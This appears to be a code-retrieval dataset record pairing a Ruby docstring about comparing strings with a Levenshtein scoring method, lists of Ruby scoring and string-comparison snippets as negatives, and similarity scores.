"def recalculate_score!\n self.score = Vote.find(:all, :conditions => ['proposal_id = ? AND value IN (-1, 1)',self.id], :select => 'value').map{|v|v.value}.sum\n self.save!\n end",
"def game_score(score)\n end",
"def score\n [base_score] + kickers\n end",
"def gain_a_point\n\n self.score += 1\n\n end",
"def update_total_score\n @total_score += @score\n end",
"def update_score\n \t\tuser.score += 10\n user.save\n\tend",
"def score\n votes.sum(:vote)\n end",
"def score\n populate_frames.inject(0) {|a,v| a+ v.frame_total}\n end",
"def calculateScore\n\t\tif @game\n @score += [@gridPick.associatedTimer-@game.time,0].max\n\t\telse\n\t\t\t@score = 0\n\t\tend\n\tend",
"def score\n @subject.score\n end",
"def score\n @score = [straight_flush, four_of_a_kind, full_house, flush, straight, three_of_a_kind, two_pair, one_pair, high_card]\n end",
"def score_strike\n @total_score += 10 + @rolls[@current_roll + 1] + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def score_strike\n @total_score += 10 + @rolls[@current_roll + 1] + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def score\n @scores[ result.key ]\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_spare\n @total_score += 10 + @rolls[@current_roll + 2]\n @current_roll += 2\n end",
"def score_game\n self.score = frames.reduce(0) { |sum, frame| sum + score_frame(frame) } \n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll +=2\n end",
"def calculate_completeness_score\n total = 0.0\n counted = 0.0\n fields.keys.each do |key|\n total += 1\n if self[key]\n counted += 1\n end\n end\n\n write_attributes(completeness_score: counted / total)\n end",
"def get_alternative_total_score()\n # TODO The method get_total_score() above does not seem correct. Replace with this method.\n total_score = 0\n\n self.scores.each { |score| total_score = total_score + score.score }\n\n total_score\n end",
"def display_score score, rank\r\n\r\n end",
"def pass\n @score = @rubric_item.max_score\n end",
"def calculate_score boosts\n @score ||= (if @combinations.empty?\n 0 # Optimization.\n else\n # Note: Was @backend.score(@combinations) - indirection for maximum flexibility.\n @combinations.score + boosts.boost_for(@combinations)\n end)\n end",
"def recompute_average_scores!\n # Done in raw SQL to save on query time\n averages = Player::Feedback.connection.select_all(\n \"SELECT\n AVG(`fit_score`) AS avg_fit_score,\n AVG(`punctuality_score`) AS avg_punctuality_score,\n AVG(`personality_score`) AS avg_personality_score,\n AVG(`skill_score`) AS avg_skill_score,\n (AVG(`fit_score`) * #{Player::Feedback::FIT_WEIGHT} +\n AVG(`punctuality_score`) * #{Player::Feedback::PUNC_WEIGHT} +\n AVG(`personality_score`) * #{Player::Feedback::PERS_WEIGHT} +\n AVG(`skill_score`) * #{Player::Feedback::SKILL_WEIGHT}) AS `weighted_overall_score`\n FROM player_feedbacks\n WHERE player_id = #{self.id}\"\n ).first.to_hash\n\n self.update_attributes!(averages)\n end",
"def total_score\n\t\t0 + score_one.to_i + score_two.to_i + score_three.to_i + score_four.to_i\n\tend",
"def create_scores\r\n\r\n end",
"def score_strike\n @total_score += 10 + @next_roll + @rolls[@current_roll + 2]\n @current_roll += 1\n end",
"def score\n (0..9).each do |row|\n if is_strike?(@frame)\n @score += 10 + strike_bonus(@frame)\n @frame += 1\n elsif (is_spare?(@frame))\n @score += 10 + spare_bonus(@frame)\n @frame += 2\n else\n @score += sum(@frame)\n @frame += 2\n end\n end\n return @score\n end",
"def total_score\n\t\t@array = []\n\t\tself.attributes.each do |key, value|\n\t\t\tif key.to_s =~ /^score/\n\t\t\t\t@array << value\n\t\t\tend\n\t\tend\n\t\tunless @array ==[]\n\t\t\treturn @array.reduce(:+)\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def score\n active_set.score\n end",
"def score\n properties['score']\n end",
"def compute_score\n @query.items.map.with_index do |element, index|\n weight(index) * weight(@classification.items.index(element))\n end.sum\n end",
"def get_score\n\t\tscore = ((360000/((@end_time - @start_time).to_f + @save_time.to_f))*((@number_of_correct-@number_of_hint).fdiv(@number_of_correct+1))).truncate(2)\n\t\tif score < 0\n\t\t\treturn 0\n\t\telse\n\t\t\treturn score\n\t\tend\n\tend",
"def score\n # add score caching\n total = 0\n self.votes.each do |vote|\n total += vote.value\n end\n total\n end",
"def score_normal\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def assign_score_limit; end",
"def overall_rating\n\t\ttotal_score = 0\n\t\ttotal_score += self.setting \n\t\ttotal_score += self.hotness\n\t\ttotal_score += self.originality\n\t\ttotal_score += self.style\n\t\ttotal_score += self.attitude\n\t\treturn total_score / 5\n\tend",
"def print_total_score\n calculate_score\n end"
] |
[
"0.7224903",
"0.71238506",
"0.7085753",
"0.7076665",
"0.7016866",
"0.69296193",
"0.69030803",
"0.688458",
"0.6864584",
"0.6842152",
"0.676423",
"0.668734",
"0.66705614",
"0.6663542",
"0.66558486",
"0.66500556",
"0.66377425",
"0.6627817",
"0.66207755",
"0.66207236",
"0.66148734",
"0.6607529",
"0.6605183",
"0.65835893",
"0.6575293",
"0.6571448",
"0.6532101",
"0.65298694",
"0.6520654",
"0.6495363",
"0.648082",
"0.6470735",
"0.6468525",
"0.6457723",
"0.64411205",
"0.64248896",
"0.6419983",
"0.6408314",
"0.64016235",
"0.64008915",
"0.6391536",
"0.63784796",
"0.63727635",
"0.6366916",
"0.63575226",
"0.63398236",
"0.6334012",
"0.632295",
"0.63224196",
"0.63215965",
"0.63194823",
"0.63064706",
"0.62988883",
"0.6298497",
"0.6287781",
"0.6284924",
"0.62815595",
"0.627439",
"0.62740207",
"0.6270924",
"0.6270103",
"0.6260901",
"0.62590355",
"0.62557596",
"0.6255539",
"0.6248947",
"0.6238287",
"0.62335885",
"0.62325317",
"0.6218286",
"0.62159526",
"0.6205163",
"0.61879665",
"0.61802816",
"0.61802816",
"0.6179477",
"0.61711085",
"0.61711085",
"0.61711085",
"0.6170683",
"0.6166171",
"0.6165613",
"0.61624306",
"0.6161274",
"0.6161004",
"0.6158832",
"0.61489606",
"0.61472017",
"0.6145789",
"0.61444044",
"0.61351",
"0.61326456",
"0.61313075",
"0.61291355",
"0.6126812",
"0.61224365",
"0.6119456",
"0.6117673",
"0.61124605",
"0.61109984",
"0.6106251"
] |
0.0
|
-1
|
Call the base service's compare_strings
|
def score(search_term:, item_name:)
return 99 unless search_term.present? && item_name.present?
Text::Levenshtein.distance(search_term.downcase, item_name.downcase)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def compare_strings(str1, str2)\n\tif str1 > str2\n\tp true\n else \n \tp false\n \tend\n end",
"def str_cmp(str1, str2)\n return if !str1.is_a?(String) || !str2.is_a?(String)\n\n puts str1.downcase == str2.downcase\n end",
"def test_compare_string_overlap_defs\n v1 = Vertex.new(\"speech\", 2, 1, 0, 0, 1, \"NN\")\n v2 = Vertex.new(\"delivering\", 2, 1, 0, 0, 1, \"VB\")\n assert_equal(1, instance.compare_strings(v1, v2, speller))#no POS is considered for hypernyms and hyponyms\n end",
"def test_string_comparison\n value1_ = ::Versionomy.create([1, 9, 2, 'a', 2], :rubygems)\n value2_ = ::Versionomy.create([1, 9, 2, 'b', 1], :rubygems)\n assert(value2_ > value1_)\n end",
"def diff_string(string1, string2); end",
"def test_string_comparison\n value1_ = ::Versionomy.create([1, 9, 2, 'a2'], :semver)\n value2_ = ::Versionomy.create([1, 9, 2, 'b1'], :semver)\n assert(value2_ > value1_)\n end",
"def test_compare_strings_are_same\n assert_same @c.string1, @c.string2\n end",
"def compare_tests(test_a, test_b); end",
"def compare_tests(test_a, test_b); end",
"def compare(*strings)\n # downcases all strings and strips out non-alphanumeric characters\n strings.map! {|s| s.downcase.gsub(/\\W+/, '')}\n # \n strings.extend(WordFunctions)\n # we use the case statement as a shorthand way of writing a bunch of if/else statements\n # ruby is interesting in that:\n # 1. conditional statements return expressions\n # 2. case statements don't need to evaluate anything when initially declared\n types = [] << case\n when strings.are_palindromes?\n \"palindromes\"\n when strings.are_antigrams?\n \"antigrams\"\n when strings.are_anagrams?\n \"anagrams\"\n end\n # any? as opposed to empty? because case will return nil by default\n if types.any?\n # writing it like this avoids duplicating the string\n types.reduce('') {|acc, e| acc += \"These words are #{e}\\n\"}\n else\n 'Error: these words are not anagrams, palindromes, or antigrams'\n end\n end",
"def test_compare_strings_are_equal\n assert_equal @c.string1, @c.string2\n end",
"def action_comparer other_text=\"\", params={}\n\t\tac = ActionComparer.new params\n\t\tac.similar? self, other_text\n\tend",
"def test_compare_two_string_arrays_one\n \ttest_list1 = [\"cat\", \"dog\", \"cow\"]\n \ttest_list2 = [\"pig\", \"rat\", \"cow\"]\n \tassert_equal @w.compare_two_string_arrays(test_list1, test_list2), [\"cow\"]\n end",
"def compare(a, b)\n #YOUR WORK HERE\n end",
"def compare_strings(string1, string2)\n\n\tcount = 0\n\tstring1.chars.each_index do |i|\n\t\tcount += 1 if string1[i] != string2[i]\n\tend\n\n\treturn count == 1\n\nend",
"def diff_to_compare; end",
"def common_substrings(string1, string2)\n string2.downcase.chars.each do |char|\n return false if string2.count(char) > string1.downcase.count(char)\n end\n true\nend",
"def test_generated\n assert_equal res, strings_sorter(res.length) { |i| res[i][:str] }\n end",
"def strings_equal(str1, str2) #return true if equal\n str1.casecmp(str2) == 0\nend",
"def compare(base_str, variant_str, confidence = 95)\n\n base = self.find_option_by_name(base_str)\n variant = self.find_option_by_name(variant_str)\n raise \"Cannot find supplied A/B Test options\" unless base && variant\n\n # Can't even perform the math if not enough data\n return nil unless a.conversions > 0 && b.conversions > 0\n\n # Lookup the correct value of z for the desired confidence interval\n # ref_z = { 99 => 2.577, 95 => 1.96, 90 => 1.645, 85 => 1.439, 80 => 1.282, 75 => 1.151}[confidence]\n # raise 'Invalid confidence interval requested' unless ref_z\n\n # # Compare the conversion percentage\n # result = OpenStruct.new\n # result.conversion_difference = b.conversion_rate - a.conversion_rate\n # plus_minus = ref_z * Math.sqrt(((a.conversion_rate * (1 - a.conversion_rate)) / a.attempts) +\n # ((b.conversion_rate * (1 - b.conversion_rate)) / b.attempts))\n # result.conversion_lower_confidence = result.conversion_difference - plus_minus\n # result.conversion_upper_confidence = result.conversion_difference + plus_minus\n\n # # Compare the resulting values of all conversions\n # result.value_difference = b.average_of_converted - a.average_of_converted\n # plus_minus = ref_z * Math.sqrt(a.variance_of_converted / a.conversions +\n # b.variance_of_converted / b.conversions)\n # result.value_lower_confidence = result.value_difference - plus_minus\n # result.value_upper_confidence = result.value_difference + plus_minus\n\n # # Compare the overall results as a percentage as compared to the first option\n # result.overall_difference = b.average - a.average\n # plus_minus = ref_z * Math.sqrt(a.variance / a.attempts + b.variance / b.attempts)\n # result.overall_lower_confidence = result.overall_difference - plus_minus\n # result.overall_upper_confidence = result.overall_difference + plus_minus\n # result.overall_difference /= a.average\n # result.overall_lower_confidence /= a.average\n # result.overall_upper_confidence /= a.average\n\n# return result\n\n end",
"def test_comparison_string\n value1_ = ::Versionomy.parse(\"1.8.7p72\")\n assert_operator(value1_, :<, \"1.8.7p73\")\n assert_operator(value1_, :<, \"1.8.8pre1\")\n assert_operator(value1_, :>, \"1.8.7p71\")\n assert_operator(value1_, :>, \"1.8.7rc2\")\n assert_operator(value1_, :>, \"1.8.7.0\")\n end",
"def string_matchers()\n []\n end",
"def compare(str, flag)\n after = case flag\n when :upcase\n str.upcase\n when :capitalize\n str.capitalize\n # etc, we could have a lot of 'when' clauses\n end\n\n puts \"Before: #{str}\"\n puts \"After: #{after}\"\nend",
"def test_1\n\t\tputs check_custom nil\n\t\tputs check_custom \"hi\"\n\t\tputs check_custom 'hi(there)'\n\tend",
"def similar(string1, string2)\n string1 = string1.downcase\n string2 = string2.downcase\n\nend",
"def compare *s\n s.map {|s| s.to_s.uppercase[/^[A-Z]* $|/].sum}.reduce &:==\nend",
"def test_compare_two_string_arrays_more_than_one\n \ttest_list1 = [\"cat\", \"dog\", \"cow\"]\n \ttest_list2 = [\"dog\", \"rat\", \"cow\"]\n \tassert_equal @w.compare_two_string_arrays(test_list1, test_list2), [\"dog\", \"cow\"]\n end",
"def success_strings(action_result, all_describers)\n flunk(\"subclass must define success_strings\")\n end",
"def matchText(fieldName, expectedText, actualText)\n expectedText = expectedText.gsub(\" \", \"\")\n expectedText = expectedText.gsub(\"-\", \"\")\n actualText = actualText.gsub(\" \", \"\")\n actualText = actualText.gsub(\"-\", \"\")\n\n if (actualText.downcase.include? (expectedText.downcase))\n puts expectedText + ' is matched with ' + actualText\n else\n raise 'Expected profile '+fieldName+' is ' + expectedText + ' but found ' + actualText\n end\n end",
"def compare (string1, string2)\n #compares two strings to find alphabetical order\n #returns true if string1 is first alphabetically or false if string2 is first alphabetically\n #otherwise nil should be returned if the two strings are equal\n\n counter = 0\n n1 = string1.length - 1\n n2 = string2.length - 1\n\n while counter < string1.length || counter < string2.length\n if string1[counter] < string2[counter]\n return true\n elsif string2[counter] < string1[counter]\n return false\n end\n\n if counter == n1 && counter < n2\n return true\n end\n if counter == n2 && counter < n1\n return false\n end\n if counter == n1 && counter == n2\n if string1[counter] < string2[counter]\n return true\n elsif string2[counter] < string1[counter]\n return false\n end\n return nil\n end\n counter += 1\n end\nend",
"def test_arg_check_2string\n \t@args = ArgumentCheck.new\n \tassert_equal(false, @args.arg_check(['poop', 'poopy']))\n end",
"def rpmvercmp(x, y)\n # easy! :)\n return 0 if x == y\n\n if x.nil?\n x = \"\"\n end\n\n if y.nil?\n y = \"\"\n end\n\n # not so easy :(\n #\n # takes 2 strings like\n #\n # x = \"1.20.b18.el5\"\n # y = \"1.20.b17.el5\"\n #\n # breaks into purely alpha and numeric segments and compares them using\n # some rules\n #\n # * 10 > 1\n # * 1 > a\n # * z > a\n # * Z > A\n # * z > Z\n # * leading zeros are ignored\n # * separators (periods, commas) are ignored\n # * \"1.20.b18.el5.extrastuff\" > \"1.20.b18.el5\"\n\n x_pos = 0 # overall string element reference position\n x_pos_max = x.length - 1 # number of elements in string, starting from 0\n x_seg_pos = 0 # segment string element reference position\n x_comp = nil # segment to compare\n\n y_pos = 0\n y_seg_pos = 0\n y_pos_max = y.length - 1\n y_comp = nil\n\n while x_pos <= x_pos_max && y_pos <= y_pos_max\n # first we skip over anything non alphanumeric\n while (x_pos <= x_pos_max) && (isalnum(x[x_pos]) == false)\n x_pos += 1 # +1 over pos_max if end of string\n end\n y_pos += 1 while (y_pos <= y_pos_max) && (isalnum(y[y_pos]) == false)\n\n # if we hit the end of either we are done matching segments\n if (x_pos == x_pos_max + 1) || (y_pos == y_pos_max + 1)\n break\n end\n\n # we are now at the start of a alpha or numeric segment\n x_seg_pos = x_pos\n y_seg_pos = y_pos\n\n # grab segment so we can compare them\n if isdigit(x[x_seg_pos].ord)\n x_seg_is_num = true\n\n # already know it's a digit\n x_seg_pos += 1\n\n # gather up our digits\n x_seg_pos += 1 while (x_seg_pos <= x_pos_max) && isdigit(x[x_seg_pos])\n # copy the segment but not the unmatched character that x_seg_pos will\n # refer to\n x_comp = x[x_pos, x_seg_pos - x_pos]\n\n y_seg_pos += 1 while (y_seg_pos <= y_pos_max) && isdigit(y[y_seg_pos])\n y_comp = y[y_pos, y_seg_pos - y_pos]\n else\n # we are comparing strings\n x_seg_is_num = false\n\n x_seg_pos += 1 while (x_seg_pos <= x_pos_max) && isalpha(x[x_seg_pos])\n x_comp = x[x_pos, x_seg_pos - x_pos]\n\n y_seg_pos += 1 while (y_seg_pos <= y_pos_max) && isalpha(y[y_seg_pos])\n y_comp = y[y_pos, y_seg_pos - y_pos]\n end\n\n # if y_seg_pos didn't advance in the above loop it means the segments are\n # different types\n if y_pos == y_seg_pos\n # numbers always win over letters\n return x_seg_is_num ? 1 : -1\n end\n\n # move the ball forward before we mess with the segments\n x_pos += x_comp.length # +1 over pos_max if end of string\n y_pos += y_comp.length\n\n # we are comparing numbers - simply convert them\n if x_seg_is_num\n x_comp = x_comp.to_i\n y_comp = y_comp.to_i\n end\n\n # compares ints or strings\n # don't return if equal - try the next segment\n if x_comp > y_comp\n return 1\n elsif x_comp < y_comp\n return -1\n end\n\n # if we've reached here than the segments are the same - try again\n end\n\n # we must have reached the end of one or both of the strings and they\n # matched up until this point\n\n # segments matched completely but the segment separators were different -\n # rpm reference code treats these as equal.\n if (x_pos == x_pos_max + 1) && (y_pos == y_pos_max + 1)\n return 0\n end\n\n # the most unprocessed characters left wins\n if (x_pos_max - x_pos) > (y_pos_max - y_pos)\n 1\n else\n -1\n end\n end",
"def prints_comparison(string1,string2)\r\n\r\n\tstring_length = string1.length\r\n\tdigitcntr=0\r\n\tfor i in (0 .. string_length-1) do\r\n\t\tif string1[i] != string2[i]\r\n\t\t\tdigitcntr = digitcntr + 1\r\n\t\tend \r\n\tend\r\n\r\n\tif digitcntr == 1 then\r\n\t\treturn true # strings off by one\r\n\telse\r\n\t\treturn false # strings same or off by more than one\r\n\tend\r\n\r\nend",
"def compare_codes(other_code)\n \texact = self.exact_matches(other_code)\n \tnear = self.near_matches(other_code)\n \tputs \"There are #{exact} exact_matches and #{near} near matches.\"\n end",
"def __cmp__(other)\n unless other.is_a? VapiException\n raise TypeError.new(\"compare other parameter is not the expected type\")\n end\n #return cmp(list(self.messages), list(other.messages))\n end",
"def count_comparison_errors(valid_to_compare_to)\n errors = 0\n\n valid_to_compare_to.split('').each_with_index do |char,index|\n errors += 1 unless char == string.split('')[index]\n end\n\n errors\n end",
"def action_comparer_many other_texts=[], params={}\n\t\tac = ActionComparer.new params\n\t\tac.too_similar_texts self, other_texts\n\tend",
"def comparable(str, field = nil)\n return if str.to_s.empty?\n\n if field == :twitter\n # Convert all the values to simple twitter-names\n return str.to_s.split(';').map do |h|\n TwitterUsernameExtractor.extract(h) rescue nil\n end.compact.uniq.join(';')\n end\n UnicodeUtils.downcase(str.to_s)\n end",
"def substrings(input_text, dictionary)\n input_text.downcase!\n dictionary.each do |word|\n compare_strings(input_text, word)\n end\n return @output_hash\nend",
"def in_all_strings?(long_strings, short_string)\nend",
"def compare_to_approach(*args)\n\n end",
"def test_String_010_compare_strings_in_arrays\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_010_compare_strings_in_arrays\")\n puts2(\"#######################\")\n \n sString = \"Some strings are identical, and some strings are not identical\"\n sString.scan(/(^|\\s)(\\S+)(?=\\s.*?\\2)/) { puts2 $2 }\n \n \n puts2(\"\\nTesting Compare strings...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray)\n puts2(\"Exact Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n puts2(\"\\nTesting Compare strings Ignore case...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray, true)\n puts2(\"Exact Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n puts2(\"\\nTesting Compare Regexp (Ignore case)...\")\n aFirstArray = [\"the\", \"end\", \"the end\", \"stop\"]\n aSecondArray = [\"The end\", \"end\", \"start\", \"the\", \"Stop\"]\n puts2(\"Compare first array:\")\n puts2(aFirstArray.to_s)\n puts2(\"\\nWith second array:\")\n puts2(aSecondArray.to_s)\n aFound = compare_strings_in_arrays(aFirstArray, aSecondArray, true, true)\n puts2(\"Close Matches Found: \"+ aFound[0].to_s)\n puts2(\" Matching text: \"+ aFound[1].to_s)\n \n end",
"def fcompares(fname1, sname, fname2)\n cmp = true\n if (fexists fname1, sname) and (fexists fname2, sname)\n x = eval \"$#{fname1}['#{sname},facets']\"\n y = eval \"$#{fname2}['#{sname},facets']\"\n if x == y\n (eval \"$#{fname1}\").each do |i|\n if sname.eql? i.scan(/^\\w+/)\n x = eval \"$#{fname1}[i]\"\n y = eval \"$#{fname2}[i]\"\n if x != y\n cmp = false\n end\n end\n end\n return cmp\n else \n return false\n end\n else\n reuturn false\n end\nend",
"def backspace_compare(s1,s2)\n\tget_filtered_str(s1) == get_filtered_str(s2)\nend",
"def case_insensitive_match=(_arg0); end",
"def stringnum_comparison(str1, str2)\n extract_digits(str1) <=> extract_digits(str2)\n end",
"def checkStrings(st1, st2)\n\n\tdups = {}\n\n\tst1.each_key { | key | \n\t\t#puts \"key is #{key}\"\n\t\tif st2.has_key?(key) == true \n\t\t\tval1 = st1.values_at(key).join.to_i\n\t\t\tval2 = st2.values_at(key).join.to_i\n\t\t\tif val1 > val2\n\t\t\t\tst2.delete(key)\n\t\t\telsif val1 < val2\n\t\t\t\tst1.delete(key)\n\t\t\telsif val1 == val2\n\t\t\t\ttemp = {\"=\" + key => val1}\n\t\t\t\tdups = dups.merge(temp)\n\t\t\t\tst2.delete(key)\n\t\t\t\tst1.delete(key)\t\n\t\t\tend\n\t\tend\n\n\t}\n\n\tif st1 != nil \n\t\tst1 = appendCharacters(st1, \"1\")\n\tend\n\n\tif st2 != nil\n\t\tst2 = appendCharacters(st2, \"2\")\n\tend\n\n\n\tfinalString = st1.merge(st2).merge(dups).sort_by { | key, value | -value }.to_a.join.split\"\"\n\n\treturn finalString\n\t\n\nend",
"def comp(str)\n @@COMP_TABLE[str]\n end",
"def twoStrings(s1, s2)\n s1.split(\"\").each { |x| return \"YES\"if s2.include?(x) }\nreturn \"NO\"\nend",
"def match_string t, d, context_d = d\n code, hash, t_text = unpack t\n puts \" match_string #{[code, hash, t_text, d, context_d]}\"\n eval_code code, (hash ? context_d : d)\n string_comparer t_text, d if t_text != nil\n hash\n end",
"def secure_compare(a, b); end",
"def secure_compare(a, b); end",
"def secure_compare(a, b); end",
"def natcmp(str1, str2, caseInsensitive=false)\n str1 = str1.dup\n str2 = str2.dup\n compareExpression = /^(\\D*)(\\d*)(.*)$/\n\n if caseInsensitive\n str1.downcase!\n str2.downcase!\n end\n\n # -- remove all whitespace\n str1.gsub!(/\\s*/, '')\n str2.gsub!(/\\s*/, '')\n\n while (str1.length > 0) or (str2.length > 0) do\n # -- extract non-digits, digits and rest of string\n str1 =~ compareExpression\n chars1, num1, str1 = $1.dup, $2.dup, $3.dup\n str2 =~ compareExpression\n chars2, num2, str2 = $1.dup, $2.dup, $3.dup\n # -- compare the non-digits\n case (chars1 <=> chars2)\n when 0 # Non-digits are the same, compare the digits...\n # If either number begins with a zero, then compare alphabetically,\n # otherwise compare numerically\n if (num1[0] != 48) and (num2[0] != 48)\n num1, num2 = num1.to_i, num2.to_i\n end\n case (num1 <=> num2)\n when -1 then return -1\n when 1 then return 1\n end\n when -1 then return -1\n when 1 then return 1\n end # case\n end # while\n\n # -- strings are naturally equal\n return 0\n end",
"def match?(wordA, wordB)\n wordA == wordB.each_char.sort.join('') \nend",
"def compare_by_revelance(query, product1, product2)\n return 0 if query.blank?\n \n words = query.split(/[ \\t\\n\\r]/)\n \n name1 = product1.name.split(/[ \\t\\n\\r]/)\n hits1 = words.select {|word| name1.include?(word)}\n \n name2 = product2.name.split(/[ \\t\\n\\r]/)\n hits2 = words.select {|word| name2.include?(word)}\n \n hits1.size <=> hits2.size\n end",
"def compare_suites(suite_a, suite_b); end",
"def compare_suites(suite_a, suite_b); end",
"def compare(src, dest) # rubocop:disable Metrics/MethodLength, Metrics/AbcSize, Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n if !src.is_a?(dest.class) && !(dest.is_a?(Array) || src.is_a?(Array)) && !(dest['content'] || dest['type'])\n return [\"- #{src.to_s[0..70]}#{src.to_s.size > 70 ? '...' : ''}\",\n \"+ #{dest.to_s[0..70]}#{dest.to_s.size > 70 ? '...' : ''}\"]\n elsif dest.is_a?(Array)\n return compare src, dest.first\n elsif src.is_a?(Array)\n return compare src.first, dest\n end\n case src\n when Array\n result = src.map.with_index { |s, i| compare s, array(dest)[i] }\n compact result\n when String\n dest_str = case dest\n when Hash then dest['content'] || dest['type']\n when Array then dest[0]['content'] || dest[0]['type']\n else dest\n end\n src != dest_str && [\"- #{src}\", \"+ #{dest_str}\"]\n when Hash\n result = src.map do |k, v|\n dest[k]['begins'].sub!(/\\s00:00$/, '') if k == 'validity'\n res = compare v, dest[k]\n { k => res } if res && !res.empty?\n end\n compact result\n end\nend",
"def ana3(string1, string2)\n\n string1.split(\"\").sort == string2.split(\"\").sort\n\nend",
"def match(other)\n String.new(self).match other\n end",
"def test_is_applicable_to_test_models\n\t[\"LargeHotel-90.1-2010-ASHRAE 169-2006-3B.osm\", \"LargeOffice-90.1-2010-ASHRAE 169-2006-5A.osm\", \"MediumOffice-90.1-2010-ASHRAE 169-2006-5A.osm\", \"PrimarySchool-90.1-2007-ASHRAE 169-2006-2A.osm\", \"SecondarySchool-90.1-2010-ASHRAE 169-2006-4A.osm\", \"SmallHotel-90.1-2010-ASHRAE 169-2006-3B.osm\", \"SmallOffice-90.1-2010-ASHRAE 169-2006-2A.osm\"].each do |m|\n\t\tresult,_ = applytotestmodel(m)\n\t\tassert_equal(\"Success\", result.value.valueName)\n end\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n search_str = runner.getStringArgumentValue(\"search_str\",user_arguments)\n suffix_str = runner.getStringArgumentValue(\"suffix_str\",user_arguments)\n\n # FanType\n match_type = runner.getStringArgumentValue('match_type', user_arguments)\n runner.registerInfo(\"Match type: #{match_type}\")\n\n\n #check the search_str for reasonableness\n puts search_str\n if search_str == \"\"\n runner.registerError(\"No search string was entered.\")\n return false\n end\n\n #check the suffix_str for reasonableness\n puts suffix_str\n if suffix_str == \"\"\n runner.registerError(\"No suffix string was entered.\")\n return false\n end\n\n # Get Thermal zones\n thermal_zones = model.getThermalZones\n\n #array for objects with names\n named_objects = []\n\n # Counter of zones that match/don't match the pattern\n number_match = 0\n\n #loop through all thermal zones\n thermal_zones.each do |z|\n\n # Check if thermal zone actually has a name\n if z.name.is_initialized\n\n # If match_type is include, we skip those that don't match\n if match_type == 'include'\n next if not z.name.to_s.upcase.include? search_str.to_s.upcase\n # else, we skip those that do match\n else\n next if z.name.to_s.upcase.include? search_str.to_s.upcase\n end\n\n # iterate the counter\n number_match += 1\n\n old_name = z.name.get\n requested_name = old_name + suffix_str\n new_name = z.setName(requested_name)\n if old_name != new_name\n named_objects << new_name\n runner.registerInfo(\"Change zone name from '#{old_name}' to '#{requested_name}'\")\n elsif old_name != requested_name\n runner.registerWarning(\"Could not change name of '#{old_name}' to '#{requested_name}'\")\n end\n end\n end\n\n\n #reporting initial condition of model\n if match_type == 'include'\n match_str = \"But only #{number_match} thermal zones actually included the string '#{search_str}'\"\n else\n match_str = \"But only #{number_match} thermal zones DID NOT include the string '#{search_str}'\"\n end\n runner.registerInitialCondition(\"The model has #{thermal_zones.size} thermal zones \\n\" + match_str)\n\n #reporting final condition of model\n runner.registerFinalCondition(\"#{named_objects.size} thermal zones were renamed\")\n\n return true\n\n end",
"def compare(word1, word2)\n bigram_compare(bigramate(word1), bigramate(word2))\n end",
"def assert_string_lookup(key, retval = \"testvalue\")\n it \"should look up string #{key}\" do\n top_level_method, *call_seq = key.split(\".\")\n terminal_method = call_seq.pop\n tmock = double\n # Because ordering is important\n # (eg calling errors.hello is different from hello.errors),\n # we need to add this individually instead of using\n # `receive_messages`, which doesn't appear to give a way to\n # guarantee ordering\n expect(ChefApply::Text).to receive(top_level_method)\n .and_return(tmock)\n call_seq.each do |m|\n expect(tmock).to receive(m).ordered.and_return(tmock)\n end\n expect(tmock).to receive(terminal_method)\n .ordered.and_return(retval)\n subject.call\n end\nend",
"def compare(other)\n score = 0.0\n firstname_dist = Levenshtein.distance(normalized_firstname, other.normalized_firstname)\n lastname_dist = Levenshtein.distance(normalized_lastname, other.normalized_lastname)\n\n mod = 1.0\n if lastname_found?\n if normalized_firstname[0] == other.normalized_firstname[0]\n mod += 3.0\n if normalized_firstname.length < 3 or other.normalized_firstname.length < 3\n mod += 3.0\n end\n if lastname_dist == 0\n mod += 4.0\n end\n end\n end\n\n if normalized_firstname.length > 0 and other.normalized_firstname.length > 0\n score += 0.25 * (firstname_dist / (normalized_firstname.length.to_f) + firstname_dist / (other.normalized_firstname.length.to_f)) / mod\n end\n if normalized_lastname.length > 0 and other.normalized_lastname.length > 0\n score += 0.25 * (lastname_dist / (normalized_lastname.length.to_f) + lastname_dist / (other.normalized_lastname.length.to_f))\n end\n\n score\n end",
"def ==(other)\n self.canonicalize.to_s == other.canonicalize.to_s\n end",
"def parse_comparison(parser); end",
"def run_diff(a, b)\n\t\t\ta = \"\" if a == nil\n\t\t\tb = \"\" if b == nil\n\t\n\t\t\t@a_words = a.split(\" \")\n\t\t\t@b_words = b.split(\" \")\n\t\n\t\t\tmax = @a_words.length\n\t\t\tmax = @b_words.length if @b_words.length > @a_words.length\n\t\n\t\t\tfor i in 0..max-1\n\t\t\t\t@differences.push(i) if @a_words[i] != @b_words[i]\n\t\t\tend\n\t\t\t\n\t\t\t# return void\n\t\t\treturn\n\t\tend",
